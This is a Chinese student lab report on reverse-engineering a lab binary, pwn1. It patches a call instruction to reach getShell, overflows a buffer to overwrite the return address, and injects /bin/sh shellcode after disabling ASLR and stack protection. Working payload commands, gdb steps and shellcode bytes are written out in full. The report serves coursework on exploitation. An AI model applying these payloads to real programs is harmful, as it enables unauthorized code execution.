2018-2019-2 20165330《网络对抗技术》Exp1 PC平台逆向破解

目录

• 实验目标
• 实验内容
• 知识点描述
• 实验步骤
• 实验过程中遇到的问题
• 实验感想

---

实验目标

• 本次实验的对象是一个名为pwn1的linux可执行文件。
• 该程序正常执行流程是：main调用foo函数，foo函数会简单回显任何用户输入的字符串。
• 该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

返回目录

---

实验内容

• 手工修改可执行文件，改变程序执行流程，直接跳转到getShell
• 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数
• 注入一个自己制作的shellcode并运行这段shellcode

返回目录

---

知识点描述

1. 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

• 使用objdump -d 20165330zyx可查看可执行文件20165330zyx的反汇编代码及其对应机器码
  
  
• 可知：
  • NOP：无作用，英文"no operation"的简写，意思是"do nothing"(机器码90)
  • JNE：若不相等则跳(机器码75
  • JE：若相等则跳(机器码74
  • JMP：无条件转移指令。段内直接短转Jmp short（机器码：EB），段内直接近转移Jmp near（机器码：E9），段内间接转移Jmp word（机器码：FF），段间直接(远)转移Jmp far（机器码：EA）
  • CMP：比较指令，cmp的功能相当于减法指令。它不保存结果，只是影响相应的标志位(机器码39)

1. 掌握反汇编与十六进制编程器

• 反汇编指令：objdump -d objfile，关于其他用法可参考Linux下C程序的反汇编
• 关于管道，输入、输出重定向参考linux下输入输出重定向和管道符
• 十六进制编程器：用来以16进制视图进行文本编辑的编辑工具软件，其实我们只需要用各系统都兼容的vim编辑器就可以实现十六进制编辑的功能。具体步骤如下：
  • 输入命令vi 20165330zyx查看可执行文件内容，发现大部分是我们没法理解的乱码；
  • 按esc后在底行输入:%!xxd将显示模式切换为16进制模式;
  • 进行相关操作后，输入:%!xxd -r转换16进制为原格式。

1. 能正确修改机器指令改变程序执行流程

见实验步骤1

1. 能正确构造payload进行bof攻击

见实验步骤3

返回目录

---

实验步骤

手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数

• 用objdump -d 20165330zyx指令查看可执行文件的反汇编结果
• 锁定修改目标80484b5: e8 d7 ff ff ff call 8048491 <foo>
• 对比getShell函数的地址0804847d和foo函数的地址08048491，可以发现两地址之差为十六进制14;
  
  
• call汇编指令的机器码为e8，我们可以锁定这部分，后面的d7 ff ff ff这四个字节为数值部分，代表指令跳转时需要与eip寄存器相加的偏移量
• 如果我们想让函数调用getShell，只需要修改d7 ff ff ff即可。由于数值存储方式为小端方式，所以锁定需要改的字节为d7，将它与地址差14做减法运算后的值为c3
• 下面修改可执行文件，将其中的call指令的目标地址由d7ffffff变为c3ffffff
  • cp 20165330zyx 20165330pwn2复制文件
  • 使用vi 20165330pwn2编辑可执行文件；
  • 按esc后，输入%!xxd将显示模式切换为十六进制模式
  • 在底行/d7查找需要修改的内容，将d7改为c3
  • 转换16进制为原格式：:%!xxd -r
  • 保存退出：:wq
• 此时我们反汇编可看到call指令调用的函数被改
  
  
• 输入./20165330pwn2运行该可执行文件
  
  

利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数

• 可执行文件正常运行是调用foo函数，我们发现这个函数有Buffer overflow漏洞
• foo函数读入字符串，但系统只预留了32字节的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址
• 正常时call调用foo,同时在堆栈上压上返回地址值0x80484ba
• 确认输入字符串哪几个字符会覆盖到返回地址
• 用gdb 20165330pwn(pwn的副本）调试程序，输入有规律的字符串如1111111122222222333333334444444412345678，发生段错误产生溢出
  
  
• info r查看寄存器eip的值，发现输入的1234被覆盖到堆栈上的返回地址
  
  
• 这是我们就将getShell的地址0x0804847d把1234替换即可
• 由于数据按小端存储，我们的正确输入为11111111222222223333333344444444\x7d\x84\x04\x08
• 因为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值，输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input生成包括字符串的一个文件(\x0a表示回车)
• 使用16进制查看指令xxd查看input文件的内容是否如预期
• 确认无误后用(cat input;cat) | ./20165330pwn将input中的字符串作为可执行文件的输入
  
  

注入一个自己制作的shellcode并运行这段shellcode

• 下载execstack程序以便接下来可以设置易于攻击的环境：apt-get install execstack
• 准备工作
  • 修改些设置

     execstack -s pwn1    //设置堆栈可执行
     execstack -q pwn1    //查询文件的堆栈是否可执行
    

  • 查看地址随机化的状态：more /proc/sys/kernel/randomize_va_space
  • 关闭地址随机化：echo "0" > /proc/sys/kernel/randomize_va_space
• 构造要注入的payload
  • 目的：将shellcode代码写入buffer（缓冲区足够大），或把shellcode放在返回地址后（缓冲区小），把返回地址改为buffer的首地址
  • 我们选择retaddr+nops+shellcode结构来攻击buf，在shellcode前填充nop的机器码90：

     perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
     //上面的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
     //特别提醒：最后一个字符千万不能是\x0a
    

  • 注入：(cat input_shellcode;cat) | ./20165330pwn
  • 再打开一个终端查看执行文件进程号ps -ef | grep 20165330pwn
    
    
  • 启用gdb调试进程，attach 2222与进程建立连接
  • 设置断点查看注入buf的内存地址

     disassemble foo //反汇编
     break *0x080484ae //设置断点
     //在另外一个终端中按下回车
    

  • c继续
  • info r esp查看esp栈顶指针的地址
  • 使用x/16x 0xffffd33c查看其存放内容，看到01020304，就是返回地址的位置。根据我们构造的input_shellcode可知，shellcode就在其后，所以地址是 0xffffd340，即0xffffd33c加上4字节
    
    
  • c-quit退出gdb调试，回到之前的终端输入exit退出命令，修改之前的\x4\x3\x2\x1部分：perl -e 'print "A" x 32;print"\x40\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
  • 再次运行(cat input_shellcode;cat) | ./20165330pwn后发现执行成功
    
    

返回目录

---

实验过程中遇到的问题

• 在实验过程中虚拟机连接网络失败，试了之前所有方法都没效果

解决办法：参考如何解决VMware Workstation虚拟机无法上网，重置网络设置之后重启虚拟机即可连接网络。

• 在运行pwn1时出现错误提示：[ bash： ./pwn1:没有那个文件或目录]，但ls命令下又能看到存在pwn1文件

解决办法：参考64位Kali无法顺利执行pwn1问题的解决方案，一般可解决。

• 在对上一个问题进行解决时，按照方法却出现了错误提示kali无法安全地用该源进行更新,所以默认禁用该源，kali无法更新源
  
  

解决办法：参考解决kali更新源时出现签名无效问题，我将更新源换成该博客中的内容后在进行apt-get update更新成功，之后输入apt-get install lib32z132位运行库安装成功，文件可执行

• 下载execstack程序时，出现错误提示
  
  

解决办法：参考解决 无法获得锁 /var/lib/dpkg/lock - open (11: 资源暂时不可用)

---

实验感想

• 实验收获与感想

在这次实验中不仅懂得了什么是缓冲区溢出，也动手实现了缓冲区溢出，并且也把上学期所学的一些内容又串联在了一起，加深了我对堆栈的理解。

• 什么是漏洞？漏洞有什么危害？

• 缓冲区溢出就是输入的内容超过所分配的缓冲区空间，被溢出的内容由于设计的缺陷没有被立刻检查到，而破坏堆栈覆盖一些原始数据。
• 会导致程序运行失败、系统关机、重新启动，或者执行攻击者的指令，比如非法提升权限。